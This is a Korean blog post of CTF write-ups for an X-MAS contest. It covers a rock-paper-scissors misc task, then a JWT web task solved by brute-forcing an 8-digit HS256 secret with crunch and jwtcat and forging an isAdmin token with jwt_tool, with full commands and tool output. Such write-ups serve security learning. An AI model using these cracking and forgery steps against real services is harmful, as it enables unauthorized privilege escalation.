반응형

https://x-mas.aleph.kr/

 

 

Weathering_With_You{Kato_Megumi}팀에서 문제를 풀었습니다.

 

 

Strange Elephpant (misc)

Something wrong happened to my cute elephpant.. :(

 

 

코끼리와 가위바위보를 하면 된다.

 

 

 

코끼리가 낸 가위 바위 보를 보고 조건에 맞춰서 가위 바위 보를 내면 된다. 제한시간은 2초.

어딘가 잘못된 PHP 코끼리에게 져 주세요!

어딘가 잘못된 PHP 코끼리와 비겨주세요!

어딘가 잘못된 PHP 코끼리를 이겨주세요!

 

 

 

 

문제를 손으로 풀려는 시도를 하던 중에 한 가지 사실을 알아 낼 수 있었다.

 

새로고침을 계속 해도

1. 이긴 라운드의 수는 초기화되지 않는다.
2. 제한시간은 초기화된다.
(마지막으로 새로고침한 시점 이후 2초가 지나야 time out. 새로고침을 2초 이상 해도 상관이 없다.)
3. 코끼리와 조건만 바뀔 뿐

 

 

이를 이용해서, 조건이 '비겨주세요'가 나올 때 까지 무한 새로고침해서 코끼리가 낸 것을 보고 그대로 내주면 된다.

이 과정을 100번해서 플래그를 얻을 수 있었다. (하고 나면 손이 저린다.)

 

 

 

FLAG : XMAS{k0ggiri_ahjeossi_neun_k0ga_son_irae}

코끼리 아저씨 는 코가 손 이래

 

 

 

 


 

 

JWT (web)

Plz crack jwt

 

 

소스코드 파일도 제공되었다.

 

 

src/routes/bruth.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
const { UserBruth, BoardBruth } = require('../sequelize');
 
const jwt = require('jsonwebtoken');
const express = require('express');
const router = express.Router();
 
const CONF = require('../config');
const { wrap, getHash } = require('../func');
 
router.use(express.static(`${__dirname}/../static/bruth`));
 
router.use((req, res, next) => {
  const token = req.cookies.token_b;
  if (token) {
    jwt.verify(token, CONF.jwt.bruth.key, CONF.jwt.bruth.options, (err, decoded) => {
      if (err) {
        if (err.name === 'TokenExpiredError') {
          return res.send({ code: 401, msg: '토큰이 만료되었습니다' });
        } else if (err.name === 'JsonWebTokenError') {
          return res.send({ code: 401, msg: '토큰에 에러가 있습니다' });
        } else {
          return res.send({ code: 401, msg: "토큰 인증 절차에 오류가 발생했습니다", err: err.message });
        }
      } else {
        req.auth = decoded;
        next();
      }
    });
  } else {
    next();
  }
});
 
router.post('/join', wrap(async (req, res) => {
  const { username, password } = req.body;
 
  if (!username || !password) return res.send({ code: 400 });
 
  const u = await UserBruth.findOne({
    where: { username },
    attributes: ['id'],
  });
  if (u) return res.send({ code: 423 });
 
  const user = await UserBruth.create({
    username,
    password: getHash(password)
  });
 
  res.send({ code: 200, id: await user.get('id') });
}));
 
router.post('/login', wrap(async (req, res) => {
  const { username, password } = req.body;
 
  if (!username || !password) return res.send({ code: 400 });
 
  const user = await UserBruth.findOne({
    where: {
      username,
      password: getHash(password)
    },
    attributes: ['id'],
  });
  if (!user) return res.send({ code: 404 });
 
  const token = jwt.sign(
    {
      uid: user.id,
      isAdmin: false
    },
    CONF.jwt.bruth.key,
    CONF.jwt.bruth.options
  );
  res.cookie('token_b', token, { httpOnly: true });
  res.send({ code: 200 });
}));
 
router.get('/logout', (req, res) => {
  res.cookie('token_b''', { maxAge: Date.now() });
  res.redirect('.');
});
 
router.get('/me', needAuth, wrap(async (req, res) => {
  const { uid } = req.auth;
 
  const user = await UserBruth.findOne({ where: { id: uid }, attributes: ['username'] });
  if (!user) return res.send({ code: 500 });
 
  res.send({ code: 200, username: user.username });
}));
 
router.get('/flag', wrap(async (req, res) => {
  if (!req.auth) return res.send({ code: 401 });
  if (!req.auth.isAdmin) return res.send({ code: 403 });
 
  res.send({ code: 200, flag: CONF.flag.bruth });
}));
 
function needAuth(req, res, next) {
  if (!req.auth) return res.send({ code: 401 });
  next();
}
 
module.exports = router;
cs

 

 

 

93행을 보면, /flag로 접근하면

 

로그인이 되어 있는지 검증 (94행)

isAdmin값이 True인지 검증 (95행)  을 해서 flag를 준다.

 

 

 

isAdmin은 로그인시 jwt token값에 들어간다. (70행)

 

해당 토근 값은 로그인 후, token_b 쿠키값에서 확인할 수 있다.

 

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1aWQiOjEyMCwiaXNBZG1pbiI6ZmFsc2UsImlhdCI6MTU3NzI1MzQ5NiwiZXhwIjoxNTc3MzM5ODk2LCJpc3MiOiJjMncybTIifQ.W6NBpwj2BYY5ghioV8EjaqdwSdHZFk-1heFHy7dvGWM

 

 

 

 

 

 

jwt는 .으로 구분되며 header.payload.signature 와 같은 구조를 하고 있다.

 

 

 

아래 사이트에서 내용을 평문으로 확인 할 수 있다. (base64로 봐도 된다.)

https://jwt.io/

 

JWT.IO

JSON Web Tokens are an open, industry standard RFC 7519 method for representing claims securely between two parties.

jwt.io

 

 

isAdmin이 Fasle로 되어 있는데 True로 바꿔주면 된다.

 

 

 

그러나 그냥 바꾸게되면 signature 부분 때문에 효력이 없어진다.

 

payload를 바꾸고 서명까지 완벽하게 하기 위해서는 secret값이 필요하다.

 

 

 

 

 

src/config.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
const fs = require('fs');
 
module.exports = {
  http: {
    port: 8011,
    flagPort: 8012,
  },
  https: {
    use: false,
    port: 443,
    key: './src/ssl/private.key',
    cert: './src/ssl/certificate.crt',
  },
  db: {
    host: 'mysql',
    port: '3306',
    database: '',
    user: '',
    password: '',
  },
  jwt: {
    bruth: {
      key: '********'// 0~9, 8 length
      options: {
        issuer: 'c2w2m2',
        expiresIn: '1d',
        algorithm: 'HS256',
      }
    },
    csrf: {
      key: {
        private: fs.readFileSync('./keys/private.key'),
        public: fs.readFileSync('./keys/public.key'),
      },
      options: {
        issuer: 'c2w2m2',
        expiresIn: '1h',
        algorithm: 'RS256',
      },
    },
  },
  flag: {
    bruth: '',
    csrf: '',
  },
  hashSort: '',
  password: '',
}
 
cs

23행을 보면 key값은 0~9로 이루어진 8자리라는 힌트를 얻을 수 있다.

 

 

 

 

 

 

 

 

 

 

key값을 구하기 위해 brute force attack을 사용했다.

 

 

0. crunch로 사전 파일을 생성한다.

 

$crunch 8 8 1234567890 -o ./pw.txt

 

최소길이 8, 최대길이 8, 조합1234567890, output

 

 

 

 

1. jwtcat을 이용하여 brute force attack

 

https://github.com/aress31/jwtcat

 

aress31/jwtcat

JSON Web Token (JWT) cracker. Contribute to aress31/jwtcat development by creating an account on GitHub.

github.com

 

 

$ python3 jwtcat.py -t eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1aWQiOjEyMCwiaXNBZG1pbiI6ZmFsc2UsImlhdCI6MTU3NzI1MDY1MSwiZXhwIjoxNTc3MzM3MDUxLCJpc3MiOiJjMncybTIifQ.4DSqfDJRM1iyiw1OmiCsrN67bOw9iWW-RuXe0PMcU6Q -w ./pw.txt
[INFO] JWT: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1aWQiOjEyMCwiaXNBZG1pbiI6ZmFsc2UsImlhdCI6MTU3NzI1MDY1MSwiZXhwIjoxNTc3MzM3MDUxLCJpc3MiOiJjMncybTIifQ.4DSqfDJRM1iyiw1OmiCsrN67bOw9iWW-RuXe0PMcU6Q 
[INFO] Wordlist: ./pw.txt 
[INFO] Starting brute-force attacks
[WARNING] Pour yourself some coffee, this might take a while...
[INFO] Secret key: 40906795 
[INFO] Secret key saved to location: jwtpot.potfile 
[INFO] Finished in 2233.2587053775787 sec

Ryzen 1700의 16개 쓰레드중 3개 사용(가상머신)하여 37분 소요됐다. (중간진행상황을 안보여줘서 불편..)

 

 

 

 

2. jwt-tool을 이용해서 토큰의 내용을 수정해준다.

 

https://github.com/ticarpi/jwt_tool

 

ticarpi/jwt_tool

:snake: A toolkit for testing, tweaking and cracking JSON Web Tokens - ticarpi/jwt_tool

github.com

 

$ python3 jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1aWQiOjEyMCwiaXNBZG1pbiI6ZmFsc2UsImlhdCI6MTU3NzI1MzQ5NiwiZXhwIjoxNTc3MzM5ODk2LCJpc3MiOiJjMncybTIifQ.W6NBpwj2BYY5ghioV8EjaqdwSdHZFk-1heFHy7dvGWM

   $$$$$\ $$\      $$\ $$$$$$$$\  $$$$$$$$\                  $$\ 
   \__$$ |$$ | $\  $$ |\__$$  __| \__$$  __|                 $$ |
      $$ |$$ |$$$\ $$ |   $$ |       $$ | $$$$$$\   $$$$$$\  $$ |
      $$ |$$ $$ $$\$$ |   $$ |       $$ |$$  __$$\ $$  __$$\ $$ |
$$\   $$ |$$$$  _$$$$ |   $$ |       $$ |$$ /  $$ |$$ /  $$ |$$ |
$$ |  $$ |$$$  / \$$$ |   $$ |       $$ |$$ |  $$ |$$ |  $$ |$$ |
\$$$$$$  |$$  /   \$$ |   $$ |       $$ |\$$$$$$  |\$$$$$$  |$$ |
 \______/ \__/     \__|   \__|$$$$$$\__| \______/  \______/ \__|
 Version 1.3.2                \______|                           


=====================
Decoded Token Values:
=====================

Token header values:
[+] alg = HS256
[+] typ = JWT

Token payload values:
[+] uid = 120
[+] isAdmin = False
[+] iat = 1577253496    ==> TIMESTAMP = 2019-12-25 14:58:16 (UTC)
[+] exp = 1577339896    ==> TIMESTAMP = 2019-12-26 14:58:16 (UTC)
[+] iss = c2w2m2

Seen timestamps:
[*] iat was seen
[+] exp is later than iat by: 1 days, 0 hours, 0 mins

----------------------
JWT common timestamps:
iat = IssuedAt
exp = Expires
nbf = NotBefore
----------------------


########################################################
#  Options:                                            #
#                ==== TAMPERING ====                   #
#  1: Tamper with JWT data (multiple signing options)  #
#                                                      #
#             ==== VULNERABILITIES ====                #
#  2: Check for the "none" algorithm vulnerability     #
#  3: Check for HS/RSA key confusion vulnerability     #
#  4: Check for JWKS key injection vulnerability       #
#                                                      #
#            ==== CRACKING/GUESSING ====               #
#  5: Check HS signature against a key (password)      #
#  6: Check HS signature against key file              #
#  7: Crack signature with supplied dictionary file    #
#                                                      #
#            ==== RSA KEY FUNCTIONS ====               #
#  8: Verify RSA signature against a Public Key        #
#                                                      #
#  0: Quit                                             #
########################################################

Please make a selection (1-6)
> 1

====================================================================
This option allows you to tamper with the header, contents and 
signature of the JWT.
====================================================================

Token header values:
[1] alg = HS256
[2] typ = JWT
[3] *ADD A VALUE*
[4] *DELETE A VALUE*
[0] Continue to next step

Please select a field number:
(or 0 to Continue)
> 0

Token payload values:
[1] uid = 120
[2] isAdmin = False
[3] iat = 1577253496    ==> TIMESTAMP = 2019-12-25 14:58:16 (UTC)
[4] exp = 1577339896    ==> TIMESTAMP = 2019-12-26 14:58:16 (UTC)
[5] iss = c2w2m2
[6] *ADD A VALUE*
[7] *DELETE A VALUE*
[8] *UPDATE TIMESTAMPS*
[0] Continue to next step

Please select a field number:
(or 0 to Continue)
> 2

Current value of isAdmin is: False
Please enter new value and hit ENTER
> True
[1] uid = 120
[2] isAdmin = True
[3] iat = 1577253496    ==> TIMESTAMP = 2019-12-25 14:58:16 (UTC)
[4] exp = 1577339896    ==> TIMESTAMP = 2019-12-26 14:58:16 (UTC)
[5] iss = c2w2m2
[6] *ADD A VALUE*
[7] *DELETE A VALUE*
[8] *UPDATE TIMESTAMPS*
[0] Continue to next step

Please select a field number:
(or 0 to Continue)
> 0

Token Signing:
[1] Sign token with known HMAC-SHA 'secret'
[2] Sign token with RSA/ECDSA Private Key
[3] Strip signature using the "none" algorithm
[4] Sign with HS/RSA key confusion vulnerability
[5] Sign token with key file
[6] Inject a key and self-sign the token (CVE-2018-0114)
[7] Self-sign the token and export an external JWKS
[8] Keep original signature

Please select an option from above (1-5):
> 1

Please enter the known key:
> 40906795

Please enter the keylength:
[1] HMAC-SHA256
[2] HMAC-SHA384
[3] HMAC-SHA512
> 1

Your new forged token:
[+] URL safe: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1aWQiOjEyMCwiaXNBZG1pbiI6IlRydWUiLCJpYXQiOjE1NzcyNTM0OTYsImV4cCI6MTU3NzMzOTg5NiwiaXNzIjoiYzJ3Mm0yIn0.3f5Cevozi5UdonpqLNEmyC8osj0vbBTigDGClThJ2E4
[+] Standard: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1aWQiOjEyMCwiaXNBZG1pbiI6IlRydWUiLCJpYXQiOjE1NzcyNTM0OTYsImV4cCI6MTU3NzMzOTg5NiwiaXNzIjoiYzJ3Mm0yIn0.3f5Cevozi5UdonpqLNEmyC8osj0vbBTigDGClThJ2E4

config.js를 보면 HS256으로 되어 있기 때문에 HMAC-SHA256을 선택해준다.

 

 

 

 

 

새로운 토큰값으로 쿠키를 바꾸고 /flag로 접근하면 flag가 표시된다.

 

{"code":200,"flag":"XMAS{bru73-f0rc3-jw7_^^7}"}

 

반응형

'CTF Write Up' 카테고리의 다른 글

UTCTF 2020 Write up  (0) 2020.03.07
RiceTeaCatPanda CTF 2020 Write up  (0) 2020.01.22
UTC-CTF 2019 Teaser write-up  (0) 2019.12.22
X-MAS CTF 2019 X-MAS Helper write-up  (0) 2019.12.21
THE HACKING CHAMPIONSHIP JUNIOR 2019 FINAL Write-up  (0) 2019.12.10

+ Recent posts